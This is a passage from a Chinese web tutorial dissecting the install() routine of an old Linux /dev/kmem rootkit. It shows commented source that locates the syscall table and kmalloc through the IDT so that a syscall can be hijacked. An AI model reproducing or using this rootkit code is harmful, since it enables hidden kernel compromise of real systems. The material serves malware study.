| 
	           上述可能忽略了很多具体的细节,我将在第3部分给出详细的解析。      五、install.c代码完全解析
      为了阅读方便,我直接贴出主要代码,并给出中文注释。          install.c /install()     作用:install()函数为kernel.c做初始化整备,并把sk装载到内存中.          int    install()     {        int            fd;        ulong        sct;        ulong        kmalloc;        ulong        gfp;        struct idtr    idtr;        struct idt    idt80;        ulong        oldsys;        ulong        mem;        ulong        size;        ulong        sctp[2];        ulong        old80;
         mkdir(HOME, 0644); 
         /* 打开/dev/kmem */
         fd = open(DEFAULT_KMEM, O_RDWR, 0);        if (fd < 0) {           printf("FUCK: Can't open %s for read/write (%d)\n", DEFAULT_KMEM,-fd);         return 1;         }
         /* 寻找中断描述符表的地址 */
         asm ("sidt %0" : "=m" (idtr));
         printf("RK_Init: idt=0x%08x, ", (uint) idtr.base);
         /* 从kmem中读取int 0x80中断描述符的内容到idt80结构中,注意读出的是描述符的内容 */ 
         if (ERR(rkm(fd, &idt80, sizeof(idt80),           idtr.base + 0x80 * sizeof(idt80)))) {           printf("FUCK: IDT table read failed (offset 0x%08x)\n",             (uint) idtr.base);            close(fd);           return 1;        }
         /* 根据idt80计算出其int 0x80服务程序的实际地址,就是system_call的地址 */
         old80 = idt80.off1 | (idt80.off2 << 16);
         /*             根据system_call的地址,找到sys_call_table的地址          */
         sct = get_sct(fd, old80, sctp);
         if (!sct) {           printf("FUCK: Can't find sys_call_table[]\n");           close(fd);           return 1;        }
         printf("sct[]=0x%08x, ", (uint) sct);
         /* 在kmem中寻找kmalloc的地址 ,并把GFP_KERNEL的地址保存 */
         kmalloc = (ulong) get_kma(fd, sct & 0xff000000, &gfp, get_kma_hint());        if (!kmalloc) {            printf("FUCK: Can't find kmalloc()!\n");           close(fd);           return 1;        }        printf("kmalloc()=0x%08x, gfp=0x%x\n", (uint) kmalloc,         (uint) gfp); 
        /*             把oldolduname系统调用的地址读出,并保存
              注意:oldolduname不经常被使用,所以可以用来被替换,你也可以换成其他 
	共11页: 上一页 [1] [2] 3 [4] [5] [6] [7] [8] [9] [10] [11] 下一页 
  | 
 
 
|   | 
 
  |